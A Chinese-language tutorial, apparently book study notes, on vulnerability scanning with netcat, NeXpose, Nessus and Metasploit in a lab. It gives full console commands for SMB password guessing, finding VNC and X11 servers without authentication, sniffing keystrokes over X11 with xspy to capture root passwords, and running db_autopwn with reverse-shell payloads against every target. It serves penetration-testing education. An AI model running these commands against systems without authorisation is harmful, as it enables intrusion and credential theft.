4-漏洞扫描

漏洞扫描器–能够自动在计算机、信息系统、网络以及应用软件寻找和发现安全弱点的程序。通过网络对目标系统进行探测,向目标系统发送数据,并将反馈数据与自带的漏洞特征库进行匹配,进而列举出目标系统上存在的漏洞。

漏洞扫描器会产生大量的流量,不希望被别人发现渗透测试工作踪迹时,建议不使用漏洞扫描器。

一、基本的漏洞扫描:

旗标攫取–连接到一个远程网络服务,并读取该服务的标识。

使用netcat获取192.168.1.203的旗标。TCP端口80的Web服务器,并发出get http请求。

root@bt:~# /opt/framework3/msf3# nc 192.168.1.203 80 GET HTTP 1/1

这里写图片描述
端口80运行基于微软IIS 5.1的Web服务器系统。

漏洞扫描器–确定目标是否包含任何与该版本IIS相关的漏洞,已经这台服务器是否安装了补丁程序。
漏洞扫描器的扫描质量很大程度上取决于它自带的漏洞特征库。

二、使用NeXpose进行扫描–Rapid7公司
NeXpose通过对网络进行扫描,查找出网络上正在运行的设备,最终识别出操作系统和应用程序上的安全漏洞。随后对扫描得到的数据进行分析和处理,并生成各种类型的报告。

1、配置:社区共享版。
主界面的主要标签页。

  • 资产页–网络上已扫描过的计算机和设备;
  • 报告页–列出了扫描完成后生成的报告;
  • 漏洞页–对在网络上发现的漏洞进行了详细描述;
  • 管理页–对系统配置进行修改;

2、将扫描报告导入到Metasploit

msf> db_connect postgres:toor@127.0.0.1/msf3 msf> db_import /tmp/host_195.xml msf> db_hosts -c address,svcs,vnlns

4-漏洞扫描_第1张图片

显示漏洞详情:

msf>db_vulns

这种方式的扫描动静很大,可能会使目标有所察觉。

3、在MSF控制台中运行NeXpose
利用Metasploit中包含的NeXpose插件。
启动黑盒扫描:

(1)、加载NeXpose插件:

msf>db_destroy postgres:toor@127.0.0.1/msf3
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>load nexpose

(2)、查看扫描插件设置的命令

msf>help

(3)、从MSF终端执行第一次扫描之前,需要连接到安装的NeXpose实例。

nexpose_connect -h显示连接到NeXpose所需的参数
登录到NeXpose需要用户名、密码、ip地址、ok(自动接受SSL证书警告)

msf>nexpose_connect -h
msf>nexpose_connect dookie:s3cr3t@192.168.1.206 ok

(4)、启动扫描
可以是一个Ip地址,也可以是Ip地址段

msf>nexpose_scan 192.168.1.195

(5)、查看结果

msf>db_hosts -c address
msf>db_vulns

4-漏洞扫描_第2张图片
黑盒扫描所发现的漏洞数量比图形界面执行的白盒要少的多。

三、使用Nessus进行扫描–Tenable Security公司

1、配置:
安装成功,打开网页浏览器,转到https://<自己的IP>:8834

  • Reports报告–列出所有曾运行过的漏洞扫描任务
  • Scan扫描–创建新的扫描或查看当前的扫描进度
  • Policies策略–设置Nessus在扫描时所办函的扫描插件
  • User用户–用于添加能够访问Nessus服务器的用户账号

2、将网页版扫描结果导入Metasploit框架

step1:在Reports页面下载。
step2:导入

msf>db_connect postgres:toor@127.0.0.1/msf3 msf>db_import /tmp/nessus_report_Host_195.nessus

step3:查看

msf>db_hosts -c address,svcs,vulns

step4:查看详细

msf>db_vulns

3、MSF终端使用Nessus扫描器

step1:载入nessus–load nessus

msf>db_destroy postgres:toor@127.0.0.1/msf3
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>load nessus

step2:查看帮助

msf>nessus_help

step3:连接nessus服务器并登录–nessus_connect

msf>nessus_connect dookie:s3cr3t@192.168.1.206 ok

step4:启动扫描时需要制定一个已经定义的扫描策略的ID号。列出所有服务器上已经定义的扫描策略–nessus_policy_list

msf>nessus_policy_list

step5:查看某个扫描策略的情况
nessus_scan_new+扫描策略的ID号+扫描任务的名字+目标IP

msf>nessus_scan_new 2 bridge_scan 192.168.1.195

step6:查看扫描运行状态。返回:No Scan Running,表明扫描结束–nessus_scan_status

msf>nessus_scan_status

step7:查看扫描结果
nessus_report_list列出所有Nessus中所有可用的扫描报告。
nessus_report_get+报告ID 下载报告,并导入到Metasploit。

msf>nessus_report_list
msf>nessus_report_get+报告ID

list结果:
4-漏洞扫描_第3张图片

step8:查看导入结果

msf>db_hosts -c address,svcs,vulns

四、专用漏洞扫描器
1、验证SMB登录:

SMB登录扫描器(SMB Login Check)对大量的主机的用户名和口令进行猜解。

动静很大~~~
Metasploit允许指定用户名和口令组合,用户名列表和口令列表组合,或各要素组合。

对一小段IP地址进行尝试破解密码:

msf>use auxiliary/scanner/smb/smb_login
msf auixliary(smb_login)>show options
msf auixliary(smb_login)>set RHOSTS 192.168.1.150-155
msf auixliary(smb_login)>set SMBUser Administrator
msf auixliary(smb_login)>set SMBPass s3cr3t
msf auixliary(smb_login)>run

2、扫描开放的VNC空口令
VNC(虚拟网络计算)提供了图形化的远程系统访问方式,类似于远程桌面。

Metasploit内置的VNC空口令扫描器对一段IP地址进行扫描,搜索未设置口令的VNC服务器。

msf>use auxiliary/scanner/vnc/vnc_none_auth
msf auixliary(vnc_none_auth)>show options
msf auixliary(vnc_none_auth)>set RHOSTS 192.168.1.155
msf auixliary(vnc_none_auth)>run

3、扫描开放的X11服务器
X11服务器,允许用户无需身份认证即可连接。
X11已经不再使用~~~
X系统用来处理包括鼠标和键盘支持在内的图形用户界面

msf>ues auxiliary/scanner/x11/open_x11
msf auxiliary(open_x11)>show options
msf auxiliary(open_x11)>set RHOSTS 192.168.1.0/24
msf auxiliary(open_x11)>set THREADS 50
msf auxiliary(open_x11)>run

利用这样的漏洞做什么~~??
xspy工具,来对目标的键盘输入进行记录。

root@bt:/# cd /pentest/sniffers/xspy/
root@bt:/pentest/sniffers/xspy/# ./xspy -display 192.168.1.23:0 -delay 100

Xspy工具能够远程嗅探到X服务器的键盘操作,并记录下某个用户使用SSH以root身份登录另一个远程系统,包含登录口令。

五、利用扫描结果进行自动化攻击
Metasploit的Autopwn工具,自动选择目标,并利用已开放的端口或漏洞扫描结果,对目标进行自动化的渗透攻击。

db_autopwn命令包含一些开关参数:

  • 对所有目标发起攻击–e
  • 显示所有匹配模块–t
  • 使用反弹shell的攻击载荷–r
  • 根据漏洞选择攻击模块–x
  • 根据开放端口选择攻击模块–p
msf>db_connect postgres:toor@127.0.0.1/msf3
msf>db_import /root/nessus.nbe
msf>db_autopwn -e -t -r -x -p

信息显示:进行了72次渗透攻击一次攻击成功,利用meterpreter控制台获取了远程计算机的完全访问权限。

你可能感兴趣的:(漏洞)